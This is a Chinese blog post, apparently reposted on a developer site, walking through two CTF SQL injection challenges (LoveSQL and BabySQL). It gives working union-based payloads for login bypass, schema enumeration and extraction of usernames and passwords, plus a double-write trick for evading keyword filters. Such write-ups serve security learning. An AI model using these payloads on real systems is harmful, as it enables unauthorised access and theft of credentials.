| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> 大数据 -> sql联合注入步骤例题LoveSQL 和 BabySQL(双写绕过) -> 正文阅读 |
|
[大数据]sql联合注入步骤例题LoveSQL 和 BabySQL(双写绕过) |
lovesql拿到题目有登录界面,BabySQL是第一题的升级版,只不过添加了绕过; 1.想到万能密码: 1' or 1=1# 发现登录成功;但是拿到这个页面毫无卵用;浪费时间,由于是一道考sql注入的题,想到后台肯定有表字段这些,flag就藏在里面,爆出他们就行了; 2:查有多少字段: 1'order by 4# 这时报错,说明有三个字段, 3.有三个字段之后在看回显,也就是说看显示的是哪几个字段;: 1' union select 1,2,3# ?回显了2和3;回显字段为第二个和第三个; 4.然后爆数据库名: 1' union select 1,2,database()# database()报出来的是数据库; 5.爆当前数据库中的表 1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()# 这里面把database()改为"geek"也可以;因为只有一更数据库,所以直接用database()也可以;这句话的解读:函数group_concat(),功能强大,可以连接很多变量,下面也用到;查表名使用table_name,它来自information_schema.tables中的table_schame;意思就是说information_schema.tables的下一级为table_schema 的下一级为table_name的下一级为column_name;但是查字段名,要用到的是information_schema.columns 下面有介绍 ?6.爆表中的字段 1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="geekuser"# 1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="l0ve1ysq1"# 可以发现,两个表中的字段名都是id username password 第五步和第六步中的payload,查表名,记住就是tables,字段名就是columns,table_name 在table_schema下,?column_name 在table_name 下,就是库下面是表,表下面是字段; 7.爆字段中的内容 1' union select 1,2,group_concat(id,username,password) from geekuser# ?同样的方法爆表l0ve1ysq1,由于显示宽度不足,需要查看源码才看得到完整的flag; 这里爆内容和爆表,字段的构造不同,爆内容可以直接union select ....from <表名> 而表和字段需要构造得很清楚哪个库哪个段,不知道为什么,还是太菜不理解; 参考了【BUUCTF】[极客大挑战 2019]LoveSQL 详细题解总结笔记 Writeup_你们这样一点都不可耐的博客-CSDN博客 的wp;总结很到位; 第二题中,过滤了很多的东西,比如说 order by,select ,union ,or ,from ,where,只要是这些都添加了过滤,那我们就采用双写绕过来进行,就是说,把,select 改为 seselectlect,from ->frofromm,where->whwhereere,union->uunionnion; 但凡单词中含有被过滤掉的词都要双写绕过,比如information中有or就要把or双写掉infoorrmation 然后步骤和第一题的操作相同; |
|
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 | -2024/11/24 5:58:33- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |